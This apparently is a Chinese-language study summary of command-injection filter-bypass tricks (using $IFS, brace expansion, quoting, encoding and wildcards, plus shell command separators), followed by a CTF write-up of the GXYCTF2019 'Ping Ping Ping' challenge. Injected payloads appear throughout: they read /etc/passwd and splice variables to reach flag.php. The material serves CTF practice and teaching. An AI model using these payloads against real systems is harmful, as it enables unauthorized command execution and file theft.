命令注入知识点总结

过滤空格

1
2
3
4
5
1、%20(space)、%09(tab)、$IFS$9、 IFS、IFS
2、使用<或者<>来绕过空格 cat<a.txt
3、花括号扩展{OS_COMMAND,ARGUMENT} {cat,/etc/passwd}
4、$IFS 空格绕过 cat$IFSa.txt
5、变量控制 X=$'cat\x09./flag.php

过滤关键字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1、使用空变量 使用$*和$@$x(x 代表 1-9),${x}(x>=10)(我尝试小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 ca${21}t a.txt
2、反斜杠 ca\t a.txt
3、变量替换 a=ca;b=t;c=a.txt;a aab $c
4、引号 c'a't flag.php
5、编码绕过
Base64 编码绕过:
root@kali:~/# echo 'cat a.txt'| base64 Y2F0IGEudHh0Cg==
root@kali:~/# echo 'Y2F0IGEudHh0Cg==' | base64 -d abc
十六进制编码绕过:
root@kali:~/# echo 'cat a.txt' | xxd -p 63617420612e7478740a
root@kali:~/# echo '0x63617420612e7478740a'| xxd -r -p Abc
6、通配符 ?*
[…]:匹配范围中任何一个字符 cat fl[abc]g.php
[a-z]:匹配 a-z 范围中任何一个字符 cat fl[a-z]g.php
{a,b}:对以逗号分割的文件列表进行拓展 cat fl{b,c}g.php

命令分隔与执行多条命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1.&
& 表示将任务置于后台执行
例:command1 & command2 先执行command2后执行command1
2.&&
只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
例:command1 && command2 先执行command1后执行command2
3.|
| 表示管道,上一条命令的输出,作为下一条命令的参数
例:command1 | command2 只执行command2
4.||
只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
例:7 || ls /
5.;
多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块
例:ping 127.0.0.1;ls /

真题Writeup

[GXYCTF2019]Ping Ping Ping

进入题目稍微测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ip=1 & ls
返回 fxck your space! # 过滤了空格

ip=1;ls
返回 # 看来分号没有被过滤
PING 1 (0.0.0.1): 56 data bytes
flag.php
index.php

ip=1;cat<flag.php
返回 fxck your symbol! # 过滤了< 字符

ip=1;cat/**/flag.php
返回 fxck your symbol! # 过滤了/ 和 *字符

ip=1;cat$IFSflag.php
返回 fxck your flag! # 过滤了 'flag' 但是$IFS没被过滤

试试内联执行

1
2
ip=1;a=f;b=ag;c=l;cat$IFS$a$c$b.php
ctrl + u查看源代码即可得到flag

参考文档

https://blog.csdn.net/qq_42812036/article/details/104297163?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522161699126116780264045852%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=161699126116780264045852&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-4-104297163.first_rank_v2_pc_rank_v29&utm_term=ping+%E6%B3%A8%E5%85%A5&spm=1018.2226.3001.4187

https://blog.csdn.net/u014549283/article/details/81783164?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522161690037516780357237205%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=161690037516780357237205&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~baidu_landing_v2~default-1-81783164.first_rank_v2_pc_rank_v29&utm_term=ping+%E6%B3%A8%E5%85%A5&spm=1018.2226.3001.4187